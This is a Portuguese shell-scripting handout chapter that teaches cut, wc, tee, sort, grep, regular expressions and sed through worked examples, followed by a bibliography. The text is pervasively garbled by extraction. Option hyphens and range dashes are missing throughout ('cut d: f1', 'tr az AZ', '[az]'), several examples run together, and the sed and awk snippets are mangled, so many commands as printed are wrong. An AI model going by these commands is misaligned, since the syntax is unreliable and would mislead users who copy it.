Capitulo 5. Capitulo 5. Comandos AvançadosComandos Avançados

1.1. cutcut

O Linux possui diversos comandos e, utilizando um em conjunto com o outro, você acaba   criando   um   comando   novo   e   ainda   mais   poderoso.   Abaixo   mostrarei   alguns   comandos misturados com outros e mostrando as saídas, assim será bem fácil de entender. 

Preste atenção nestas duas linhas de comando: 1  cat /etc/services 2  cat /etc/services |more 

O primeiro comando, jogará na tela o conteúdo do arquivo /etc/services. O segundo jogará na tela o conteúdo do arquivo /etc/services, dividindo na tela de maneira que o arquivo não fique rolando, assim podendo visualizar todo o arquivo e, de maneira que apertando espaço ela vai rolando para baixo. 

Utilizamos esse "more" quando o arquivo é muito grande, como já visto nos comandos do Linux. Agora o importante é notar, que no segundo comando o que fazemos é usar o comando cat, e jogar sua saída para o comando more, o por sua vez joga a saída na tela. Visto isso podemos montar comandos muito interessantes, o qual juntaremos alguns comandos e no final sairá na tela o resultado desejado. Vamos pra um exemplo. Se quiséssemos pegar todos os usuários de um computador. 

Faríamos o seguinte: 

root@c0mb4t:/# cat etc/passwd 

root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/log: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games: ftp:x:14:50::/home/ftp: 

Adbeel Goes Filho

Page 96: Apostila de Shell Script

   ShellScripts                                                                           96

mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash gdm:x:42:42:GDM:/var/state/gdm:/bin/bash nobody:x:99:99:nobody:/: c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash 

Mas vimos aqui muita sujeira, então juntamos dois comando e veremos sua saída: 

root@c0mb4t:/# cat etc/passwd |cut d: f1 

root bin daemon adm lp sync shutdown halt mail news uucp operator games ftp mysql gdm nobody c0mb4t 

Aqui o comando cut corta o ':' (d: f1) onde o 'f' vem do inglês  field. Assim deixa somente a lista de usuários.  Mas ainda não estamos satisfeitos, pois queremos em ordem alfabética, então usaremos junto mais um comando, o sort. 

root@c0mb4t:/# cat etc/passwd |cut d: f1| sort 

adm bin c0mb4t daemon ftp games gdm halt lp mail mysql news 

Adbeel Goes Filho

Page 97: Apostila de Shell Script

   ShellScripts                                                                           97

nobody operator root shutdown sync uucp 

Mas como sou chato, vou querer em ordem inversa, logo acrescentamos no sort o r. 

root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r 

uucp sync shutdown root operator nobody news mysql mail lp halt gdm games ftp daemon c0mb4t bin adm 

Vamos dar um pause e ver o que está acontecendo: cat etc/passwd |cut d: f1| sort r, onde: cat etc/passwd = imprime na tela o arquivo /etc/passwd. cut d: f1 = cortamos o primeiro : e o resto da direita. sort r = ordenamos em ordem alfabética inversa a saída. 

Notamos então, que o comando cat joga sua saída para o comando cut, que por sua vez joga a saída para o comando sort que finalmente joga a saída na tela. Poderíamos ainda colocar o |more, caso a tela ficasse pequena, ficando: 

cat etc/passwd |cut d: f1| sort r |more 

Agora,   vamos   pegar   essa   saída,   e   jogálas   em   letra   maiúsculas,   para   melhor visualização e para melhor aprendizado, certo? Neste caso usamos o comando tr. 

root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r| tr az AZ 

Adbeel Goes Filho

Page 98: Apostila de Shell Script

   ShellScripts                                                                           98

UUCP SYNC SHUTDOWN ROOT OPERATOR NOBODY NEWS MYSQL MAIL LP HALT GDM GAMES FTP DAEMON C0MB4T BIN ADM 

O comando tr, substituí as letras de 'a' a 'z' por 'A' até 'Z'. Pronto, aqui está a lista de usuários em ordem alfabética inversa, em letras maiúsculas. 

Mas que tal jogarmos a sua saída num arquivo chamado usuários? 

root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r| tr az AZ > /usuarios 

O comando > grava em arquivo. assim o > /usuarios grava o saida, que no lugar de jogar na tela, ela joga para um arquivo que chamei de /usuarios. Para visualizar o arquivo, digitamos conforme já visto: 

root@c0mb4t:/# cat /usuarios 

UUCP SYNC SHUTDOWN ROOT OPERATOR NOBODY NEWS MYSQL MAIL LP HALT GDM GAMES FTP 

Adbeel Goes Filho

Page 99: Apostila de Shell Script

   ShellScripts                                                                           99

DAEMON C0MB4T BIN ADM 

Pronto. Agora você já tem seu arquivo de usuários. :) 

Outro comando muito interessante e que sempre usamos em conjunto é  o comando grep. Esse comando pega a saída de um comando e imprime ta tela apenas a linha o qual contém o conteúdo desejado. 

root@c0mb4t:/# cat etc/passwd |grep c0mb4t c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash root@c0mb4t:/# cat etc/passwd |grep bash root:x:0:0::/root:/bin/bash operator:x:11:0:operator:/root:/bin/bash mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash gdm:x:42:42:GDM:/var/state/gdm:/bin/bash c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash 

2.2. wcwc

Conta caracteres, palavras e linhas em arquivos. Sintaxe: 

wc [cwl] [arquivo ... ] Exemplos: 

$ wc c < cadastro $ wc w texto1 $ wc l /etc/passwd 

Opções: • c Conta o número de caracteres • w Conta o número de palavras • l Conta o número de linhas •

Por default, o comando sem opção, apresenta a saída com as três opções. 

As opções  podem ser utilizadas  em conjunto.  A ordem das opções  vai  determinar a  ordem de apresentação da saída do comando

3.3. teetee

Utilizado para gerar duas saídas simultâneas. Sintaxe: 

$ tee [ a ] [ arquivo ] 

Adbeel Goes Filho

Page 100: Apostila de Shell Script

   ShellScripts                                                                           100

Exemplos: $ ls | tee arquivo | sort $ ls | tee a arquivo | sort 

O comando tee lê da entrada padrão e gera uma saída padrão e outra em um arquivo especificado. A opção a é utilizada para adicionar em um arquivo já existente. 

4.4. sortsort

Classifica e/ou intercala arquivos texto. Sintaxe: 

sort [opções] arquivo 

$ sort < cadastro 

$ sort nt: +2 < /etc/passwd 

$ sort d cadastro 

O comando sort é poderoso e flexível. As linhas de um arquivo ou campos do arquivo podem ser classificados de diversas maneiras. Algumas opções do comando sort: 

• r Inverte o sentido da classificação • f Iguala letras maiúsculas e minúsculas na comparação • n Indica que a comparação deve ser de valor numérico • u Elimina as linhas com chaves duplicadas • tX Indica que o caracter X é o delimitador de campos • m Executa a intercalação de arquivos já classificados • +posi posf Indica chave de classificação, posi é a posição inicial e posf a posição final • o arq Indica que arq será a saída do comando 

Exemplos: 

Considerando o arquivo cadastro com os campos código, nome e cep:          00006Jose      20000010

         00003Maria     20000015

         00005Antonio   20000009

         00002Pedro     20000002

         00004Carlos    20000002

         00001Zelia     20000011

Classificação crescente do campo código: 

$ sort +0.0 0.5 cadastro 

Classificação inversa do campo nome: 

Adbeel Goes Filho

Page 101: Apostila de Shell Script

   ShellScripts                                                                           101

$ sort r +0.5 0.15 cadastro 

Classificação crescente do campo cep e também do campo nome 

$ sort +0.20 0.28 +0.5 0.15 cadastro 

Considerando o arquivo /etc/passwd, que possui o delimitador de campo : 

Classificação crescente por nome de usuário, gerando a saída no arquivo saida.srt 

$ sort o saida.srt t: +0 1 /etc/passwd 

Classificação por grupo e também por nome 

$ sort t: n +3 4 +0 1 /etc/passwd 

5.5. grepgrep

Agora teremos um breve tutorial sobre o Grep. Ele não é somente um dos comandos mais úteis, mas o seu domínio abre portas para dominar outros poderosos comandos, como o sed (que trataremos na próxima aula) , awk, perl, etc. Eu fiz uma adaptação/ modificação de um tutorial que eu tenho, e por sinal é excelente, sobre o Grep e Expressões Regulares em inglês. Espero que tenha ficado legal e vocês gostem.

O que ele faz ? 

O grep basicamente faz buscas. Mais precisamente:grep palavra file    retorna todas as linhas do arquivo file que contenham palavra.

Outro jeito de usar o grep é através de pipe (lembram dos pipes?). Por exemplo:   ls | grep palavra

Lista todos os arquivos que contenham palavra em seu nome. Ou seja, a entrada do grep é uma lista de arquivos (gerada pelo ls) que será filtrada, sendo impressas somente as linhas que contenham palavra. 

Usando caracteres coringas 

Suponho que todos saibam o que são caracteres coringas. Caso contrário, coringas são caracteres especiais que substituem outros. Geralmente o caracter "*" é um coringa que significa "qualquer caracter em qualquer quantidade". Por isso se a gente executar "ls *", onde "*" entra no lugar do "nome do arquivo", significando qualquer string de qualquer tamanho. Por isso ele lista todos os arquivos.

Mas agora voltemos ao grep. Será que ele aceita coringas ? A resposta é mais do que sim. O grep suporta algo que vai além de coringas, ele suporta Expressões Regulares. Mas vamos começar apenas com coringas. Um dos mais usados com o grep é o "." Vamos a um exemplo:

Adbeel Goes Filho

Page 102: Apostila de Shell Script

   ShellScripts                                                                           102

>cat file                                          >grep b.gfilebig                                                 bigbad bug                                          bad bugbigger                                            biggerboogy

Note que boogy não casa, desde que "." significa "qualquer e apenas um caracter". Para significar strings arbitrárias utilizamos "*", que funciona da seguinte maneira:"A expressão consistindo de um caracter seguido por um * casa com qualquer número (inclusive zero) de repetições desse caracter. Em particular, ".*" significa qualquer string." Para compreendermos vamos a mais exemplos:

>cat filebigbad bug bagbiggerboogy>grep b.*g filebigbad bugbagbiggerboogy>grep b.*g. Filebiggerboogy>grep ggg* filebigger

Avançando para expressões regulares 

Os coringas são o começo, mas a idéia vai mais  longe.  Por exemplo,  suponha que queremos uma expressão que case com Frederic Smith ou Fred Smith, ou seja, a string "eric" é opcional. Primeiro, introduzimos o conceito de um "caracter escapado (escaped character)"."Um caracter escapado é um caracter precedido por uma barra  invertida ( \ ). Essa barra invertida faz o seguinte: (a) Remove qualquer significado especial do caracter. (b) acrescenta um significado especial a um caracter que não tenha um significado especial." 

Parece complicado, mas veja nos exemplo que é um tanto quanto simples:Para procurar uma linha contento o texto "hello.gif", o comando correto seria:

grep 'hello\.gif' file

Desde que "grep 'hello.gif'  file" iria resultar linhas contendo: hello gif , hello1gif , 

Adbeel Goes Filho

Page 103: Apostila de Shell Script

   ShellScripts                                                                           103

helloagif   ,  etc.  Ou seja, a barra invertida remove o significado especial  do ".",  passando esse a significar   um   simples   ponto   ao   invés   de   um   coringa.   Agora   vamos   passar   para   expressões agrupadas, a fim de encontrar um jeito de criar uma expressão que case com Frederic ou Fred. Primeiro vamos começar com o operador "?": "Uma expressão consistindo de caracter seguido por uma interrogação escapada ( \? ) casa com zero ou uma instância daquele caracter". 

Exemplo:

"bugg\?y" casa com o seguinte: bugy , buggy  mas não com bugggy

virtvs@mucuripe:~$ echo bugy | grep "bugg\?y" bugyvirtvs@mucuripe:~$ echo bugggy | grep "bugg\?y"virtvs@mucuripe:~$ 

Agora vamos para expressões agrupadas.  No nosso exemplo,  queremos tornar opcional  a string "eric" após "Fred", ou seja, não apenas um caracter mas sim um conjunto de caracteres (string). "Uma expressão dentro de parênteses escapados é tratada como um único caracter" 

Exemplos:

"Fred\(eric\)\?"   Smith   casa   com   "Fred   Smith"   or   "Frederic   Smith"  \(abc\)*   casa   com   abc   , abcabcabc, etc (isto é, qualquer número de repetições da string "abc", incluindo zero).

Note  que   temos  que   tomar  cuidado quando nossas  expressões   contém espaços  em branco. Quando eles aparecem, precisamos colocar a expressão entre aspas, para que o  shell  não interprete mal nosso comando. Para o exemplo acima:grep "Fred\(eric\)\? Smith" file

Eu aconselho fortemente a sempre usar aspas, mesmo que não usemos espaços em brancos. Já tive muita dor de cabeça porque expressões e comandos não funcionavam simplesmente por não estarem entre aspas. Um dos exemplo acima (o do bugg\?y) não funciona no meu sistema se não estiver entre aspas. Veja:

virtvs@mucuripe:~$ echo bugy | grep "bugg\?y"bugyvirtvs@mucuripe:~$ echo bugy | grep bugg\?yvirtvs@mucuripe:~$ 

Outros operadores úteis 

Para casar algum caracter de uma lista, use [ ] Veja:"[Hh]ello" casa com linhas contendo "hello" ou "Hello" 

Faixas de caracteres também são permitidos:

Adbeel Goes Filho

Page 104: Apostila de Shell Script

   ShellScripts                                                                           104

    [03] é o mesmo que [0123]     [ak] é o mesmo que [abcdefghijk]    [AC] é o mesmo que [ABC]    [ACak] é o mesmo que [ABCabcdefghijk]

Existem também algumas formas alternativas:

    [[:alpha:]] é o mesmo que [azAZ]    [[:upper:]] é o mesmo que [AZ]    [[:lower:]] é o mesmo que [az]    [[:digit:]] é o mesmo que [09]    [[:alnum:]] é o mesmo que [09azAZ]    [[:space:]] casa com qualquer quantidade de espaços,inclusive tabulações

Essas formas alternativas, como [[:digit:]] é preferível ao método direto, [09].Os [ ] podem ser usado para indicar caracteres que NÃO devem estar na expressão. É 

só colocar o sinal ^ na primeira posição da lista. Veja:virtvs@mucuripe:~$ echo hello | grep "[Hh]ello"hellovirtvs@mucuripe:~$ echo hello | grep "[^Hh]ello"virtvs@mucuripe

Outro exemplo, um pouco mais complicado: grep "([^()]*)a" file retorna qualquer linha contendo um par de parentes seguido por "a" e que NÃO contenham outros parênteses dentro. Assim, ele casa com essas linhas:(hello)a (aksjdhaksj d ka)aMas não com: x=(y+2(x+1))a

Casando com um número especifico de repetições Suponha que você queira casar um número específico de repetições de uma expressão. Um bom exemplo são números de telefones. 

Você pode procurar por um número de telefone com sete dígitos, assim:grep "[:digit:]\{3\}[ ]\?[:digit:]\{4\}" file 

Ou seja, três dígitos, opcionalmente um espaço ou um hífen e mais 4 dígitos.

Procurando por começo e fim de linha: Isso é muito interessante. Digamos que você queira procurar por linhas que contendo espaços em brancos no começo da linha, a palavra hello e então o fim da linha. Vamos começar com este exemplo:    >cat file            hello    hello world            hhello

Adbeel Goes Filho

Page 105: Apostila de Shell Script

   ShellScripts                                                                           105

    >grep hello file            hello    hello world            hhello

Isso não é o que nós queremos. O que está errado ? O problema é que o grep procura por linhas contendo a string hello e todas as linhas especificadas contem ela. Para contornar isso, introduzimos os caracteres de começo e fim de linha:"O caracter ^ significa começo de linha e o $ significa fim da linha" Retornando ao nosso exemplo: 

grep "^[[:space:]]*hello[[:space:]]*$" file

Ou seja, o começo da linha, qualquer quantidade de espaço em branco (inclusive zero), a palavra hello, qualquer quantidade de espaço em branco e o fim da linha. Essa expressão faz o que a gente quer, retornando somente a linha que contém a palavra hello. Outro exemplo:

grep "^From.*Alex" /var/spool/mail/neo

Procura no meu inbox por mensagens de uma pessoa em particular (no caso, Alex). Esse tipo de expressão regular é extremamente útil e filtros de email, como o procmail, utilizam isso para fazerem tudo.

Isso ou Aquilo: Procurando uma coisa OU outra: "A expressão consistindo de duas expressões separadas pelo operador OU \| casa linhas contendo uma das duas expressões" 

Note que você DEVE colocar a expressão dentro de aspas simples ou duplas:

grep "cat\|dog" file casa com linhas contendo a palavra "cat" ou apalavra "dog" grep "I am a \(cat\|dog\)" casa com linhas contendo a string "I ama cat" ou a string "I am a dog". 

Usando backreference (referência anterior) 

Digamos que você queira procurar strings que contenham uma substring em mais de um lugar. Um exemplo é  as tags de cabeçalhos de HTML. Suponha que eu queira procurar por "<H1>alguma string</H1>". Isto é fácil de se fazer. Mas suponha que eu queira fazer o mesmo, mas permita H2 H3 H4 H5 e H6 no lugar de H1. A expressão <H[16]>.*</H[16]> não é boa, desde que casa com "<H1>alguma string</H3>" e nos queremos que a tag de abertura seja igual a de fechamento. Para fazermos isso, usamos backreference:"A expressão \n onde n é um número, casa com o conteúdo do nésimo conjunto de parênteses na 

Adbeel Goes Filho

Page 106: Apostila de Shell Script

   ShellScripts                                                                           106

expressão". Nossa... isso realmente precisa de um exemplo!!!!<H\([16]\)>.*</H\1> faz o que nos queríamos fazer acima..."O Senhor \(dog\|cat\) e a senhora \1 foram visitar o Senhor \(dog\|cat\) e a senhora \2" 

Esse é outro exemplo bobo. Os casais tem sempre que serem iguais. Ou um casal de cachorro ou de gato.

Alguns detalhes cruciais: caracteres especiais e aspas Caracteres Especiais: Aqui nós descrevemos os caracteres especiais para RegExp (expressões regulares) no grep. Note que no "egrep", que usa expressões regulares estendidas (atualmente não tem nenhuma funcionalidade a mais que as expressões regulares normais do GNU grep), a  lista de caracteres especiais são os mesmos, diferindo somente que alguns não precisar estar "escapados". Os seguintes caracteres são considerados especiais, e precisam estar escapados:?      \        .       [        ]        ^         $

Note que o sinal de $ perde seu sentido se tiver caracteres depois dele, do mesmo jeito que o sinal ^ perde seu sentido se tiver caracteres antes dele. Os colchetes [ ] comportamse um pouco diferente. A baixo segue as regras para eles:?  O colchete direito  (  ]  )  perde seu sentido especial  se colocado no começo de uma lista,  por exemplo: "[]12]" casa com ] , 1, or 2. ? Um hífen perde seu significado especial se colocado por último. Assim, [15] casa com 1, 5 ou  ? O caracter ^ perde seu sentido se não for colocado em primeiro lugar. ? A maioria dos caracteres especiais perdem seu significado especial se forem colocados dentro de colchetes. 

Aspas: 

Em primeiro lugar, aspas simples são mais seguras de usar porque elas protegem suas expressões   regulares   de   serem   alteradas   pelo   bash   (como   foi   visto   nas   aulas   anteriores).   Por exemplo,  grep "!"   file  vai  produzir  um erro,   já  que o  shell  pensa  que  "!"  está   se   referindo ao comando de histórico do shell, enquanto grep '!' file funciona perfeitamente.

Quando você deve usar aspas simples ? A resposta é: se você precisa usar variáveis do shell, use aspas duplas. Caso contrário, use aspas simples. Por exemplo:   grep "$HOME" file Procura em file pelo nome do seu diretório pessoal, enquanto grep '$HOME' file procura pela string $HOME.

Sintaxe das expressões regulares estendidas 

Agora vamos ver a sintaxe do egrep em contraste com a sintaxe do grep. Ironicamente, apesar  do nome "estendido",  o  egrep atualmente   tem menos funcionalidade do que quando foi criado, para manter a compatibilidade com o tradicional grep. A melhor maneira de fazer um grep estendido é  utilizar grep E que usa a  sintaxe de expressões regulares estendidas sem perda de funcionalidade.   Bom,   espero   que   vocês   tenham   tido   uma   boa   idéia   de   como   funcionam   as expressões regulares. Elas são extremamente importante, principalmente para utilizar o grep e o 

Adbeel Goes Filho

Page 107: Apostila de Shell Script

   ShellScripts                                                                           107

poderosíssimo sed, do qual trataremos na próxima aula. Não se preocupem se estiverem confuso com as expressões, quando começarem a utilizálas, as idéias vão clareando. 

Adbeel Goes Filho

Page 108: Apostila de Shell Script

   ShellScripts                                                                           108

6.6. sedsed

Falaremos agora sobre o sed. Vale lembrar que daremos uma breve introdução ao sed, ajudando os iniciantes a entender como ele funciona. Portanto muitos comandos mais complexos serão omitidos, já que seria necessário um livro inteiro para ensinar tudo sobre o Sed. Mas não se preocupem, ensinaremos o suficiente sobre ele para utilização em shell script.Resumo de RegExp Vamos a um resumo sobre as expressões regulares, explicadas na aula anterior e agora aplicadas ao sed: ^                        casa com o começo de linha$                            casa com o fim de linha.                             casa com qualquer caracter simples (apenas um)(caracter)*      casa com qualquer ocorrência, em qualquer quantidade, de (caracter)(caracter)?            casa com zero ou uma ocorrência de (caracter)[abcdef]                 casa com qualquer caracter dentro dos [ ] (neste caso, a b c d e ou f), faixas de caracteres como [az]são permitidas. [^abcdef]              casa com qualquer  caracter  NÃO  incluído em []   (neste  caso,  qualquer caracter que não seja a b c d e ou f)(caracter)\{m,n\}       casa com mn repetições de (caracter)(caracter)\{m,\}         casa com m ou mais repetições de (caracter)(caracter)\{,n\}          casa com n ou menos (também zero) repetições de (caracter)(caracter)\{n\}           casa com exatamente n repetições de (caracter)\(expressão\)              operador de grupo.\n                                Backreference  casa com o nésimo grupoexpressão1\|expressão2   casa com expressão1 ou expressão2. Funciona com o GNU sed, mas essa característica pode não funcionar com outros Seds. 

Caracteres Especiais 

Os caracteres especiais no sed são os mesmo do grep, com uma diferença: a barra normal   /   é   um   caracter   especial   no   sed.   A   razão   disso   ficará   clara   mais   para   frente   quando estudarmos os comandos do sed.

Como funciona: Uma breve introdução 

O sed funciona assim: ele lê da entrada padrão, uma linha de cada vez. Para cada linha, ele executa uma série de comandos de edição e então a linha é escrita na saída padrão. Um exemplo que mostra como ele funciona: Nós usamos o comando "s", que significa "substitute" (substituir) ou "search and replace" (procurar e trocar). O formato é:s/expressãoregular/textosubstituto/{flags}

Adbeel Goes Filho

Page 109: Apostila de Shell Script

   ShellScripts                                                                           109

Nós não vamos discutir todas as flags ainda. A única que usamos abaixo é a "g", que significa "substitua todas as ocorrências":    >cat file    Eu tenho três cachorros e dois gatos    >sed e 's/cachorros/gatos/g' e 's/gatos/elefantes/g' file    Eu tenho três elefantes e dois elefantesOK, então o que aconteceu? Primeiro o sed leu a linha do arquivo "file" e executou:s/cachorros/gatos/g

que produziu o seguinte texto:

   Eu tenho três gatos e dois gatos

e então o segundo comando foi executado na linha já editada e resultou:

   Eu tenho três elefantes e dois elefantes

Nós atualmente damos um nome para o texto (geralmente uma linha) que o sed leu e está   processando   (editando):   ele   chamase   "pattern   space"   (uma   boa   tradução   seria   "área   de edição"). O sed lê da entrada padrão e joga na sua área de edição, executando nela uma seqüência de comandos de edição e então ele escreve o resultado na saída padrão.

Comandos de Substituição e Deleção 

Primeiro, as maneiras mais usuais do sed é a seguinte:    >sed e 'comando1' e 'comando2' e 'comando3' arquivo    >{comando shell} | sed e 'comando1' e 'comando2'     >sed f sedscript.sed arquivo    >{comando shell} | sed f sedscript.sed

Então, o sed pode ler do arquivo ou da entrada padrão, e os comandos podem ser especificados em um arquivo de script ou na linha de comando. Esse arquivo, chamado sedscript.sed é um arquivo que contém todos os comandos do sed, ao invés de serem especificados na linha de comando. Esses sed's scripts são úteis quando precisamos de um processamento de texto mais complexo e refinado.Note o seguinte: se os comandos são lidos de um arquivo (sed script), espaços em branco podem ser fatais. Eles podem fazer o script falhar sem explicação aparente. Eu recomendo editar os arquivos de comandos do sed com um editor como o VIM que pode mostrar o final da linha e você pode ver se existem espaços em branco entre os comandos e o fim da linha.

Comando de Substituição 

O formato para o comando de substituição é o seguinte:

Adbeel Goes Filho

Page 110: Apostila de Shell Script

   ShellScripts                                                                           110

  [endereço1[,endereço2]]s/procura/substituto/[flags]As flags podem ser as seguinte:n                troca a nésima ocorrência (na linha) dotexto "procura" por "substituto"g                troca todas as ocorrências (na linha) do texto "procura" por "substituto"p                imprime a "área de edição" para a saída padrão se ocorrer uma substituição com sucessow arquivo   imprime a "área de edição" para arquivo se ocorrer uma substituição com sucesso

Se   nenhuma   flag   for   especificada,   somente   a   primeira   ocorrências   na   linha   é substituída. Note que nós quase sempre usamos o comando "s" ou com a flag "g" ou sem nenhuma flag.  Se  um endereço  é   dado,   então  a   substituição  é   aplicada  a   linhas  que   contenham aquele endereço. Um endereço pode ser ou uma expressão regular dentro de barras normais /regexp/ , ou um número de linha. O símbolo $ pode ser usado no lugar do número da linha para denotar a última linha.

Se dois endereços são fornecidos, separados por uma vírgula, então a substituição é aplicada a todas as linhas entre duas linhas que casam com os endereços fornecidos.  Isto requer algum esclarecimento. Mais precisamente, a substituição ocorre em todas as linhas desde a primeira ocorrência de "endereço1" até a primeira ocorrência de "endereço2".

Não se preocupe se isso tudo parece meio confuso. Os exemplos vão esclarecer melhor.

O comando de Deleção 

A sintaxe desse comando é muito simples. Ai vai:

[endereço1[,endereço2]]d

Isto deleta o conteúdo da "área de edição" (se esta casar com os endereços fornecidos). Todos os comandos seguintes serão pulados (já que não a nada a fazer com uma área de edição em branco) e uma nova linha será lida e jogada na área de edição e todo o processo se repete.

Exemplos:

Exemplo 1: 

   >cat file     O gato preto foi caçado por um cachorro marrom.     >sed e 's/preto/branco/g' file     O gato branco foi caçado por um cachorromarrom.

Exemplo 2: 

    >cat file    O gato preto foi caçado por um cachorro marrom.

Adbeel Goes Filho

Page 111: Apostila de Shell Script

   ShellScripts                                                                           111

    O gato preto não foi caçado por um cachorro marrom.    >sed e '/não/s/preto/branco/g' file    O gato preto foi caçado por um cachorro marrom.    O gato branco não caçado por um cachorro marrom. 

Neste caso, a substituição é aplicada somente a linhas que casam com a expressão regular "/não/". Portanto, ela não é aplicada a primeira linha, pois esta não contem a palavra "não".

Exemplo 3: 

    >cat file    linha 1 (um)    linha 2 (dois)    linha 3 (três)

Exemplo 3a: 

    >sed e '1,2d' file    linha 3 (três)

Exemplo 3b: 

    >sed e '3d' file     linha 1 (um)    linha 2 (dois)

Exemplo 3c: 

    >sed e '1,2s/linha/LINHA/' file    LINHA 1 (um)    LINHA 2 (dois)    linha 3 (três)Exemplo 3d:     >sed e '/^linha.*um/s/linha/LINHA/' e '/linha/d' file

    LINHA 1 (um)

3a : Este foi bem simples: Nós apenas deletamos as linhas de 1 até 23b : Isto também foi simples: Nós deletamos a linha 3.3c : Neste exemplo, nós fizemos uma substituição nas linhas 1 até 2.3d : Agora este é mais interessante e merece  algumas explicações. 

O primeiro comando vai procurar "^linha.*um" e substituir "linha" por "LINHA", ou seja, somente a primeira linha casa com essa expressão regular. O segundo comando diz para o sed deletar   linhas  que   contenham   a  palavra   "linha".   Assim,   somente   as   duas  últimas   linhas   serão 

Adbeel Goes Filho

Page 112: Apostila de Shell Script

   ShellScripts                                                                           112

deletadas, já que a primeira teve palavra "linha" substituída por "LINHA".

Exemplo 4:     >cat file    olá    Este texto será cortado    olá (também será retirado)    ReTiRaDo Também!!!    tchau    (1) Este texto não foi apagado    (2) nem este ... ( tchau )    (3) nem este    olá    mas este será    e este também    e a menos que nós encontremos outro tch*u    cada linha até o final do texto será apagada

    >sed e '/olá/,/tchau/d' file

    (1) Este texto não foi apagado    (2) nem este ... ( tchau )    (3) nem este

Isto mostra como o endereçamento funciona quando dois endereços são especificados. O sed encontra o primeiro casamento da expressão "olá" e deleta todas as linhas lidas na área de edição   até   ele   encontrar   a   primeira   linha   que   contém   a   expressão   "tchau"   (está   também  será apagada). Ele não aplica mais o comando de deleção para nenhuma linha até encontrar novamente a expressão "olá". Desde que a expressão "tchau" não ocorre mais em nenhuma linha subseqüente, o comando de deleção é aplicado até o final do texto. Resumindo, é simples: Quando ele encontra o primeiro endereço ("olá")  ele  passa  a  executar  os  comandos até  encontrar  o  segundo endereço ("tchau") ou o fim do texto. E isso se repete até acabar o texto.

Exemplo 5: 

    >cat file    http://www.kernel.org/    >sed e's@http://www.kernel.org@http://www.metalab.unc.edu@' file    http://www.metalab.unc.edu/ 

Note que nós usamos um delimitador diferente, @ para o comando de substituição. O sed permite diversos delimitadores para o comando de substituição,   incluindo @ % ,   ;   :  Esses delimitadores alternativos são bons para substituições que incluem string como nome de arquivos e outras que contém barra normal /, o que torna o código do sed muito mais legível.

Adbeel Goes Filho

Page 113: Apostila de Shell Script

   ShellScripts                                                                           113

Mais alguns comandos Aqui veremos mais alguns comandos sobre o sed, a maioria deles  mais  complexos.  Dependendo da  aplicação em que vocês   forem usar  o   sed,  dificilmente usarão   esses   recursos,   a  menos  que  precisem  de  um  processamento   de   texto   mais   refinado   e complexo. Veja que eles são muito usado nos scripts do sed (não confunda com shellscript).

Backreference no Sed 

Uma das coisas legais sobre backreference no sed é que você pode usar não apenas em procura de textos mas também na substituição de textos.

O comando Quit 

O comando quit ou "q" é muito simples. Ele simplesmente termina o processamento. Nenhuma outra linha é lida para a área de edição ou impressa na saída padrão.

Subrotinas 

Nós agora introduzimos o conceito de subrotinas no sed:No   sed,   as   chaves  {  }   são  usadas  para   agrupar   comandos.  Elas   são usadas  dessa 

maneira:endereço1[,endereço2]{comandos}

Exemplo: Encontrar uma palavra de uma lista num arquivo 

Este exemplo faz um bom uso dos conceitos descritos acima. Para isto, nos usamos um shellscript, desde que os comandos são muito longos e precisaríamos escrever a longa string X várias vezes. Note que usamos aspas duplas, já que a variável $X precisa ser expandida pelo shell. A sintaxe para rodar esse script é: "script arquivo",onde "script" é o nome dado ao script e "arquivo" é o nome do arquivo a procurar uma palavra da lista.

#!/bin/shX='word1\|word2\|word3|\word4|\word5'sed e "/$X/!d/$X/{       s/\($X\).*/\1/       s/.*\($X\)/\1/       q       }" $1

Uma nota importante: é tentador pensar que:

    s/\($X\).*/\1/    s/.*\($X\)/\1/

é redundante e tentar encurtála para:

Adbeel Goes Filho

Page 114: Apostila de Shell Script

   ShellScripts                                                                           114

    s/.*\($X\).*/\1/ 

Mas isto não funciona. Por que? Suponha que temos a linha:

    word1 word2 word3

Nós não temos como saber se $X vai casar com word1, word2 ou word3, então quando nós citamos ele (\1), nós não sabemos quais dos termos está sendo citado. O que está sendo usado para certificarse que não há problemas na correta implementação, é isto:"O operador * é guloso. Ou seja, quando há ambigüidade sobre qual (expressão)* pode casar, ele tentar casar o máximo possível." 

Então neste exemplo, s/\($X\).*/\1/ , .* tenta engolir o máximo da linha possível, em particular, se a linha contém isso:      "word1 word2 word3"

Então nós podemos ter certeza que .* casa com " word2 word3" e portanto $X seria word1. Não se preocupem se não entenderam muito bem este tópico. Ele é complicado mesmo e pouco usado.  O  importante  é   entender  como ele   funciona,  o  uso  de   regexp e  do  comando de substituição e deleção. Para maiores informações sobre o sed, dê  uma olhada na sua man page: "man sed" . Espero que vocês tenham gostado desse pequeno tutorial sobre sed. 

Linguagens Complementares

AWK

Exemplo: exibir a terceira, quarta e nona colunas do saida de  um comando

ls l /home/satis | awk ' {print $3, $r, $9}'

PHP

Adbeel Goes Filho

Page 115: Apostila de Shell Script

   ShellScripts                                                                           115

Capitulo 6. Capitulo 6. BibliografiaBibliografia

ADBEEL Goes, Adbeel. Programação ShellScript. VIRTVS Engenharia e Informática Ltda. Fortaleza, Outubro de 2001.

ALEX Borro, Alex. Tutorial de Shell Script

RRM2000 Raimundo,  Rodivaldo  Marcelo.  Curso  Básico  de  Programação  em Posix  ShellScript. Book Express. Rio de Janeiro, 2000.

JULIO      Neves, Júlio Cezar. Programação Shell Linux, 3ª Edição, Editora Brasport, ISBN 8574521183

SAADE     Saade, Joel. BASH  Guia de Consulta Rápida, Editora Novatec, ISBN 8575220063

    

Adbeel Goes Filho

Page 116: Apostila de Shell Script

   ShellScripts                                                                           116

